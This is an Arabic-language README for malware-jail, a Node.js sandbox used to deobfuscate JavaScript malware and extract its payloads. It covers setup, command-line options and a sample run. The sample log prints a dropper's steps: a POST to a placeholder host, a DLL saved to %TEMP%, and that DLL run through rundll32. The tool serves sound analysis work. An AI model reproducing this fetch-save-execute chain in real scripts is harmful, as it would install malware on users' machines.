
صندوق رمل لتحليل البرامج الضارة لجافا سكريبت شبه تلقائي، وإزالة التعتيم واستخراج الحمولة. مكتوب لـ Node.js
صندوق حماية للتحليل شبه التلقائي لبرامج جافا سكريبت الخبيثة، وإزالة التعتيم واستخراج الحمولة. مكتوب لـ Node.js
تم كتابة malware-jail لـ صندوق الحماية 'vm' الخاص بـ Node. يقوم حالياً بتنفيذ سياق WScript (Windows Scripting Host) env/wscript.js، على الأقل الجزء المستخدم بشكل متكرر من قبل البرامج الضارة. سياق متصفح الإنترنت تم تنفيذه جزئياً env/browser.js.
يعمل على أي نظام تشغيل. تم التطوير والاختبار على Linux، Node.js v6.6.0.
نظراً لاستخدام بعض ميزات ES6، ستحتاج إلى Node.js >= 6.x.
انظر EXAMPLES للحصول على نماذج برامج ضارة تم تحليلها.
إذا كان لديك عينات برامج ضارة جديدة، يرجى إرسالها إلى javascript-malware-collection، إما عبر issue أو طلب سحب.
يقوم بتعداد استعلامات WMI إلى ملف: wmis.json
تمت إضافة معلمة جديدة:
--t404 - طلبات http تعود دائماً بـ HTTP/404 وترمي استثناءً. يتيح ذلك تعداد جميع عناوين URL البعيدة.
يتم الآن حفظ عناوين URL إلى ملف urls.json. انظر أحدث EXAMPLES#malware-of-issue-14.
إصلاحات مختلفة للأخطاء وتحسينات.
إصلاحات مختلفة للأخطاء وتحسينات.
تمت إضافة معلمات جديدة:
-t msecs - يحدد وقت التنفيذ بـ "msecs" ميلي ثانية، افتراضياً 60 ثانية.
--h404 - طلبات http تعود دائماً بـ HTTP/404 ولا ترمي استثناءً. يتيح ذلك تعداد جميع عناوين URL البعيدة.
ستحتاج إلى تثبيت Node.js و npm.
تم بناء malware-jail على أساس minimist، iconv-lite و entities.
اسحب المصدر باستخدام git:
git clone https://github.com/HynekPetrak/malware-jail.git
cd malware-jail
ثم قم بتثبيت جميع التبعيات (minimist, entities, iconv-lite) باستخدام:
npm install
غير متوفرة بعد، قريباً ...
كن حذراً عند العمل مع برامج ضارة حقيقية. قد يحاول برنامج ضار، يدرك وجود صندوق الحماية هذا، الهروب وإلحاق الضرر بجهاز الكمبيوتر الخاص بك. يُوصى بتشغيله إما من حساب Linux غير مميز أو من داخل جهاز Windows افتراضي. ملفات Angler الموجودة في مجلد malware ليست معطلة.
bash@linux# node jailme.js -h -b list
7 May 20:54:52 - malware-jail, صندوق حماية للبرامج الضارة الإصدار 0.19
7 May 20:54:52 - ------------------------
7 May 20:54:52 - الاستخدام: node jailme.js [[-e file1] [-e file2] .. ] [-c ./config.json] \
7 May 20:54:52 - [-o ofile] [-b id] \
7 May 20:54:52 - [-s odir] [--down] [malware1 [malware2] .. ]
7 May 20:54:52 - -c config .. استخدم ملف إعدادات بديل، اسبقه بـ ./
7 May 20:54:52 - -e ifile ... ملف js يحاكي بيئة معينة
7 May 20:54:52 - -o ofile ... اسم الملف الذي سيتم تفريغ صندوق الحماية إليه في النهاية
7 May 20:54:52 - -s odir ... دليل الإخراج للملفات المُنشأة (حمولة البرنامج الضار)
7 May 20:54:52 - -b id ... نوع المتصفح، استخدم -b list للقيم الممكنة
7 May 20:54:52 - -t msecs ... عدد الميلي ثانية قبل إنهاء التنفيذ، افتراضياً دقيقة واحدة
7 May 20:54:52 - --trace ... اطبع تتبع المكدس مع كل سطر سجل
7 May 20:54:52 - --down ... السماح بتحميل حمولات البرامج الضارة من الخوادم البعيدة
7 May 20:54:52 - --h404 ... عند التحميل، أعد دائماً HTTP/404
7 May 20:54:52 - malware ... ملف js مع كود البرنامج الضار
7 May 20:54:52 - إذا لم يتم تحديد أي وسائط، يتم أخذ القيم الافتراضية من config.json
7 May 20:54:52 - القيم الممكنة لـ -b: [ 'IE11_W10', 'IE8', 'IE7', 'iPhone', 'Firefox', 'Chrome' ]
في مجلد الأمثلة قد تجد ملف برنامج ضار غير نشط. قم بتشغيل التحليل باستخدام:
node jailme.js -c ./config_wscript_only.json --down=y malware/example.js
البرامج الضارة المعتمدة على متصفح الإنترنت يمكنك اختبارها باستخدام:
node jailme.js -b IE11_W10 malware/example_browser.js
في نهاية التحليل، يتم تفريغ سياق صندوق الحماية بالكامل إلى ملف 'sandbox_dump_after.json'.
قد ترغب في فحص الإدخالات التالية من ملف 'sandbox_dump_after.json':
يستخدم 'sandbox_dump_after.json' JSONPath، المنفذ بواسطة JSON-js/cycle.js، لحفظ المراجع المكررة أو الدورية لنفس الكائن.
bash@linux# node jailme.js malware/example.js
11 Jan 00:06:24 - صندوق حماية للبرامج الضارة الإصدار 0.2
11 Jan 00:06:24 - ------------------------
11 Jan 00:06:24 - تسلسل بيئة صندوق الحماية: env/eval.js,env/wscript.js
11 Jan 00:06:24 - ملفات البرامج الضارة: malware/example.js
11 Jan 00:06:24 - ملف الإخراج لتفريغ صندوق الحماية: sandbox_dump_after.json
11 Jan 00:06:24 - دليل الإخراج للملفات المُنشأة: output/
11 Jan 00:06:24 - ==> تجهيز بيئة صندوق الحماية.
11 Jan 00:06:24 - => تنفيذ: env/eval.js
11 Jan 00:06:24 - تجهيز صندوق الحماية لاعتراض استدعاءات eval().
11 Jan 00:06:24 - => تنفيذ: env/wscript.js
11 Jan 00:06:24 - تجهيز صندوق الحماية لمحاكاة بيئة WScript.
11 Jan 00:06:24 - ==> تنفيذ ملف(ات) البرنامج الضار.
11 Jan 00:06:24 - => تنفيذ: malware/example.js
11 Jan 00:06:24 - ActiveXObject(WScript.Shell)
11 Jan 00:06:24 - تم الإنشاء: WScript.Shell[1]
11 Jan 00:06:24 - WScript.Shell[1].ExpandEnvironmentStrings(%TEMP%)
11 Jan 00:06:24 - ActiveXObject(MSXML2.XMLHTTP)
11 Jan 00:06:24 - تم الإنشاء: MSXML2.XMLHTTP[2]
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].open(POST,http://EXAMPLE.COM/redir.php,false)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].setRequestHeader(Content-Type, application/x-www-form-urlencoded)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].send(iTlOlnxhMXnM=0.588860877091065&jndj=IT0601)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] لا يتم إرسال البيانات، إذا كنت تريد التفاعل مع الخادم البعيد، قم بتعيين --down=y
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] استدعاء onreadystatechange() ببيانات وهمية
11 Jan 00:06:24 - ActiveXObject(ADODB.Stream)
11 Jan 00:06:24 - تم الإنشاء: ADODB_Stream[3]
11 Jan 00:06:24 - ADODB_Stream[3].Open()
11 Jan 00:06:24 - ADODB_Stream[3].Write(str) - 10001 بايت
11 Jan 00:06:24 - ADODB_Stream[3].SaveToFile(%TEMP%\57020551.dll, 2)
11 Jan 00:06:24 - WScript.Shell[1].Exec(rundll32 %TEMP%\57020551.dll, DllRegisterServer)
11 Jan 00:06:24 - ADODB_Stream[3].Close()
11 Jan 00:08:42 - ==> انتهى تنفيذ السكريبت، يتم تفريغ بيئة صندوق الحماية إلى ملف.
11 Jan 00:08:42 - حفظ: output/_TEMP__49629482.dll
11 Jan 00:08:42 - حفظ: output/_TEMP__38611354.pdf
11 Jan 00:08:42 - تم حفظ الملف المُنشأ
11 Jan 00:08:42 - تم حفظ الملف المُنشأ
11 Jan 00:08:42 - تم حفظ سياق صندوق الحماية إلى: sandbox_dump_after.json
في المثال أعلاه، تم استخراج الحمولة إلى output/_TEMP__49629482.dll و output/_TEMP__38611354.pdf
يحتوي مجلد malware على عينات برامج ضارة حقيقية. معظمها تم تنزيلها من https://malwr.com.
يرجى الاطلاع على EXAMPLES للحصول على فهرس كامل لعينات البرامج الضارة.